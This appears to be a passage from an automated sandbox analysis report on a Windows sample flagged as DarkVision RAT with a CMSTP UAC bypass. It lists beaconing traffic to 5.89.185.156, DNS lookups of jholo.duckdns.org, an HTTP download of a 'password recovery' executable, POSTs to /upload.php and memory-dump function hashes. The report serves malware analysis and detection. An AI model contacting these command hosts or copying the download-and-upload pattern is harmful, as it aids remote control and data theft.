Dec 31, 2024 07:33:31.897619963 CET	8900	49781	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:35.212493896 CET	8900	49707	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:35.212558985 CET	49707	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:36.878803968 CET	49781	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:36.924149036 CET	8900	49781	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:40.922606945 CET	49837	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:40.927406073 CET	8900	49837	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:40.927788019 CET	49837	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:40.927897930 CET	49837	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:40.932648897 CET	8900	49837	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:44.192976952 CET	8900	49720	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:44.193058014 CET	49720	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:45.925620079 CET	49837	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:45.972105026 CET	8900	49837	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:49.978564024 CET	49898	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:49.983457088 CET	8900	49898	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:49.983520985 CET	49898	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:49.983773947 CET	49898	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:49.988576889 CET	8900	49898	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:53.276808023 CET	8900	49781	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:53.276876926 CET	49781	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:54.973387957 CET	49898	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:55.020056009 CET	8900	49898	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:58.989403963 CET	49960	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:58.994250059 CET	8900	49960	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:58.994319916 CET	49960	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:58.994424105 CET	49960	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:58.999212980 CET	8900	49960	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:02.288903952 CET	8900	49837	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:02.288984060 CET	49837	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:04.003242970 CET	49960	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:04.052078009 CET	8900	49960	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:08.138134956 CET	49985	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:08.143011093 CET	8900	49985	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:08.143213034 CET	49985	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:08.143325090 CET	49985	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:08.148123026 CET	8900	49985	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:11.351713896 CET	8900	49898	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:11.351850033 CET	49898	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:13.128876925 CET	49985	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:13.176042080 CET	8900	49985	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:17.160901070 CET	49986	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:17.165990114 CET	8900	49986	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:17.166089058 CET	49986	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:17.166203976 CET	49986	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:17.170922995 CET	8900	49986	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:20.367796898 CET	8900	49960	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:20.367896080 CET	49960	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:22.175811052 CET	49986	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:22.223989964 CET	8900	49986	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:26.192135096 CET	49987	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:26.197179079 CET	8900	49987	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:26.197274923 CET	49987	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:26.197335958 CET	49987	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:26.202048063 CET	8900	49987	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:29.541743994 CET	8900	49985	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:29.541871071 CET	49985	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:31.191180944 CET	49987	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:31.240056038 CET	8900	49987	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:35.223593950 CET	49988	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:35.228604078 CET	8900	49988	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:35.228715897 CET	49988	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:35.228838921 CET	49988	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:35.233654976 CET	8900	49988	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:38.539412975 CET	8900	49986	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:38.539469957 CET	49986	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:40.222414970 CET	49988	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:40.271928072 CET	8900	49988	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:44.239310980 CET	49989	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:44.244210005 CET	8900	49989	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:44.244368076 CET	49989	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:44.244637966 CET	49989	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:44.249370098 CET	8900	49989	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:47.537949085 CET	8900	49987	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:47.538028002 CET	49987	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:49.253659964 CET	49989	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:49.300044060 CET	8900	49989	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:53.020382881 CET	49990	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:53.025329113 CET	8900	49990	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:53.025407076 CET	49990	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:53.025515079 CET	49990	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:53.030258894 CET	8900	49990	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:56.620379925 CET	8900	49988	5.89.185.156	192.168.2.5
Dec 31, 2024 07:34:56.620577097 CET	49988	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:58.035461903 CET	49990	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:34:58.083920002 CET	8900	49990	5.89.185.156	192.168.2.5
Dec 31, 2024 07:35:01.473151922 CET	49991	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:35:01.478063107 CET	8900	49991	5.89.185.156	192.168.2.5
Dec 31, 2024 07:35:01.478132963 CET	49991	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:35:01.478245974 CET	49991	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:35:01.483128071 CET	8900	49991	5.89.185.156	192.168.2.5
Dec 31, 2024 07:35:05.754363060 CET	8900	49989	5.89.185.156	192.168.2.5
Dec 31, 2024 07:35:05.754427910 CET	49989	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:35:06.487932920 CET	49991	8900	192.168.2.5	5.89.185.156
Dec 31, 2024 07:35:06.539803982 CET	8900	49991	5.89.185.156	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 07:33:01.678170919 CET	58700	53	192.168.2.5	1.1.1.1
Dec 31, 2024 07:33:01.794889927 CET	53	58700	1.1.1.1	192.168.2.5
Dec 31, 2024 07:33:04.653099060 CET	60033	53	192.168.2.5	1.1.1.1
Dec 31, 2024 07:33:04.795844078 CET	53	60033	1.1.1.1	192.168.2.5
Dec 31, 2024 07:34:08.021096945 CET	62429	53	192.168.2.5	1.1.1.1
Dec 31, 2024 07:34:08.137520075 CET	53	62429	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 07:33:01.678170919 CET	192.168.2.5	1.1.1.1	0x410c	Standard query (0)	jholo.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 31, 2024 07:33:04.653099060 CET	192.168.2.5	1.1.1.1	0x6dc1	Standard query (0)	jholo.duckdns.org	A (IP address)	IN (0x0001)	false
Dec 31, 2024 07:34:08.021096945 CET	192.168.2.5	1.1.1.1	0x5b5a	Standard query (0)	jholo.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 07:33:01.794889927 CET	1.1.1.1	192.168.2.5	0x410c	No error (0)	jholo.duckdns.org	5.89.185.156	A (IP address)	IN (0x0001)	false
Dec 31, 2024 07:33:04.795844078 CET	1.1.1.1	192.168.2.5	0x6dc1	No error (0)	jholo.duckdns.org	5.89.185.156	A (IP address)	IN (0x0001)	false
Dec 31, 2024 07:34:08.137520075 CET	1.1.1.1	192.168.2.5	0x5b5a	No error (0)	jholo.duckdns.org	5.89.185.156	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jholo.duckdns.org:8181

jholo.duckdns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	5.89.185.156	8181	5060	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 31, 2024 07:33:01.804835081 CET	196	OUT	GET /PASSWORDRECOVERY64EXE.EXE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0 Host: jholo.duckdns.org:8181
Dec 31, 2024 07:33:02.471774101 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 06:33:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 11 Nov 2024 02:14:28 GMT ETag: "f9600-62699a90923c5" Accept-Ranges: bytes Content-Length: 1021440 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 c8 8b 75 ed a9 e5 26 ed a9 e5 26 ed a9 e5 26 f6 34 7b 26 e7 a9 e5 26 e4 d1 62 26 ec a9 e5 26 e4 d1 76 26 fc a9 e5 26 ed a9 e4 26 72 a9 e5 26 f6 34 4e 26 d9 a9 e5 26 f6 34 4f 26 90 a9 e5 26 f6 34 78 26 ec a9 e5 26 52 69 63 68 ed a9 e5 26 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 84 68 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 44 0d 00 00 b6 02 00 00 00 00 00 b8 49 0c 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 30 10 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$u&&&4{&&b&&v&&&r&4N&&4O&&4x&&Rich&PEdh1g"DI@0@dn@e`.textBD `.rdata` H@@.datah@.pdata@ef@@.relocz@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	5.89.185.156	8181	5032	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 31, 2024 07:33:03.833720922 CET	235	OUT	POST /upload.php HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=part Host: jholo.duckdns.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Length: 422
Dec 31, 2024 07:33:04.517960072 CET	254	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 06:33:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain;charset=UTF-8 Data Raw: 31 Data Ascii: 1
Dec 31, 2024 07:33:04.523140907 CET	235	OUT	POST /upload.php HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=part Host: jholo.duckdns.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Length: 417
Dec 31, 2024 07:33:04.889858961 CET	253	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 06:33:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 1 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/plain;charset=UTF-8 Data Raw: 31 Data Ascii: 1
Dec 31, 2024 07:33:04.893091917 CET	235	OUT	POST /upload.php HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=part Host: jholo.duckdns.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Length: 541
Dec 31, 2024 07:33:05.397989988 CET	253	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 06:33:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 1 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/plain;charset=UTF-8 Data Raw: 31 Data Ascii: 1
Dec 31, 2024 07:33:05.545919895 CET	235	OUT	POST /upload.php HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=part Host: jholo.duckdns.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Length: 536
Dec 31, 2024 07:33:05.917752028 CET	253	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 06:33:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/plain;charset=UTF-8 Data Raw: 31 Data Ascii: 1

Target ID:	0
Start time:	01:32:59
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\uncrypted.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uncrypted.exe"
Imagebase:	0x9a0000
File size:	1'028'096 bytes
MD5 hash:	84E8A17E39EF16DCE73DA924CED012D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000000.00000002.2055171521.0000000003F40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2055171521.0000000003F40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000000.00000002.2055171521.00000000040F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2055171521.00000000040F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000000.00000002.2055171521.0000000003FFF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2055171521.0000000003FFF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000000.00000002.2054936122.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2054936122.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:33:00
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\uncrypted.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uncrypted.exe"
Imagebase:	0xa90000
File size:	1'028'096 bytes
MD5 hash:	84E8A17E39EF16DCE73DA924CED012D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:33:00
Start date:	31/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\explorer.exe"
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	01:33:02
Start date:	31/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\EXPLORER.EXE {2046C745-B848-47EE-8068-B039EAC15A1C}
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30.8%
Total number of Nodes:	39
Total number of Limit Nodes:	6

Executed Functions

Function 01210D58 Relevance: 5.7, Strings: 4, Instructions: 743
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 012114F4
PO]q, xrefs: 01210DDE
TJbq, xrefs: 01211509
TJbq, xrefs: 01210E14

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID:
String ID: PO]q$TJbq$TJbq$Te]q
API String ID: 0-3124343824
Opcode ID: 9f77213a919a350f1ccff6c0ef6278d1c7c8e86886288d4b49e748c00790c54d
Instruction ID: bdc10d295c1801d42e8f57a234e408f9aa691aee38de33aee08803ddb2f7ff53
Opcode Fuzzy Hash: 9f77213a919a350f1ccff6c0ef6278d1c7c8e86886288d4b49e748c00790c54d
Instruction Fuzzy Hash: CF620634A202148FDB54CF69C994B69BBF2FF98700F1581A9E60A9B365CA70ED81CF51

Function 01210D4F Relevance: 5.7, Strings: 4, Instructions: 733
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 012114F4
PO]q, xrefs: 01210DDE
TJbq, xrefs: 01211509
TJbq, xrefs: 01210E14

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID:
String ID: PO]q$TJbq$TJbq$Te]q
API String ID: 0-3124343824
Opcode ID: 06bacb155fab60c580e67e215791e0aedf5dbe784189a06911d74565cdc1018c
Instruction ID: cf25cf946a4cb7e03797cd979e1dde32c073edd6b5a1a372f7b231eb45e8538d
Opcode Fuzzy Hash: 06bacb155fab60c580e67e215791e0aedf5dbe784189a06911d74565cdc1018c
Instruction Fuzzy Hash: F8620734A20114CFDB54CF69C994B69BBF2FF98700F1581A9E60A9B3A5CA70ED81CF11

Function 01211329 Relevance: 2.8, Strings: 2, Instructions: 296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 012114F4
TJbq, xrefs: 01211509

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID:
String ID: TJbq$Te]q
API String ID: 0-3147309840
Opcode ID: 1698fbc85fbc3a84a6f3f6f8c289efa19b66f5db1c09c7fc53cb24ba9ec98de9
Instruction ID: 13444f59049fc3025046de15830f4e129a751ca8d897380333c0e82855d19b85
Opcode Fuzzy Hash: 1698fbc85fbc3a84a6f3f6f8c289efa19b66f5db1c09c7fc53cb24ba9ec98de9
Instruction Fuzzy Hash: DBD13A34A20215CFDB64DF68C894B6ABBF2FF98700F158099D60A9B369DB70AD41CF41

Function 01218BAC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01218C69

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 181a8e0a0d7ea53990467340016fdac0971fbc6bbde8af64344020095e38034c
Instruction ID: 1ab36979c9496aab1ada77fd77b5a6c8af460ca00eabaaca25534939f8844504
Opcode Fuzzy Hash: 181a8e0a0d7ea53990467340016fdac0971fbc6bbde8af64344020095e38034c
Instruction Fuzzy Hash: F9410FB1C00719CFDB28DFA9C884B9EBBF1BF48304F24806AD418AB255DB756946CF91

Function 01216F9C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01218C69

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7826efc9f365aaae6809656c5745730dab79afc0aa7b89b677960ad86215f68e
Instruction ID: d7479c9335bb9ae80c57f3c5a7ed3fe229ae17c54b8de03751ac4d23d35c2489
Opcode Fuzzy Hash: 7826efc9f365aaae6809656c5745730dab79afc0aa7b89b677960ad86215f68e
Instruction Fuzzy Hash: 1741F1B0C00719CBDB28DFA9C884B9EBBF5BF48304F20816AD508AB255DB756945CF90

Function 012130AD Relevance: 1.6, APIs: 1, Instructions: 76
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0121314B

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c5a62b6f8c7bc39aa20c12e5d5796f6459e9fc100338e2d45be259286a65ef9c
Instruction ID: f0c20a22d00b20cebd282d375a1493ec682f8d2fdbadaaaf0a71edd38f8fad1d
Opcode Fuzzy Hash: c5a62b6f8c7bc39aa20c12e5d5796f6459e9fc100338e2d45be259286a65ef9c
Instruction Fuzzy Hash: 5F31AEB28153859FCB12CFA9C4406DABFF4FF5A320F2084AAD498E7262D3799545CF61

Function 01210534 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000001,?,?), ref: 01211AFB

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 816762025bb3f142073e73870594ec6b708907a48ce11091c215953a2809db6b
Instruction ID: 487fd6952c4c2a827e2fb9cc9ae4b8cad9adbb79a46783b6fa21c69efc4d9ba9
Opcode Fuzzy Hash: 816762025bb3f142073e73870594ec6b708907a48ce11091c215953a2809db6b
Instruction Fuzzy Hash: 762106B2D002499FCB10DFAAC484BDEFBF4FB58310F108029E958A7251D378A944CFA1

Function 01211A81 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000001,?,?), ref: 01211AFB

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 33231c01dd359262cf245caa23e5a648cc1b047d82ba9b10ccb7f4bc85142a76
Instruction ID: 2a61fac274b1b37258b3eecd20d4fdf5fd4872d88433bb0e6adc5e25babb351a
Opcode Fuzzy Hash: 33231c01dd359262cf245caa23e5a648cc1b047d82ba9b10ccb7f4bc85142a76
Instruction Fuzzy Hash: B62106B19002499FCB10DFAAD484ADEFFF8FF49320F108429E958A7251D778A654CFA1

Function 012130D8 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0121314B

Memory Dump Source

Source File: 00000000.00000002.2054740817.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1210000_uncrypted.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: df58396e904b949e24bf5ab3c386bea46b7ef62a7966f71ce4cf90a8d403137b
Instruction ID: 6fd3f3a596331aa8f37ae68218259f2962c6691818a45ad9f4ad04fe60c6a403
Opcode Fuzzy Hash: df58396e904b949e24bf5ab3c386bea46b7ef62a7966f71ce4cf90a8d403137b
Instruction Fuzzy Hash: 6521E4B59002499FDB10DF9AC884BDEFBF5FF58320F108429E958A7251D378A944CFA1

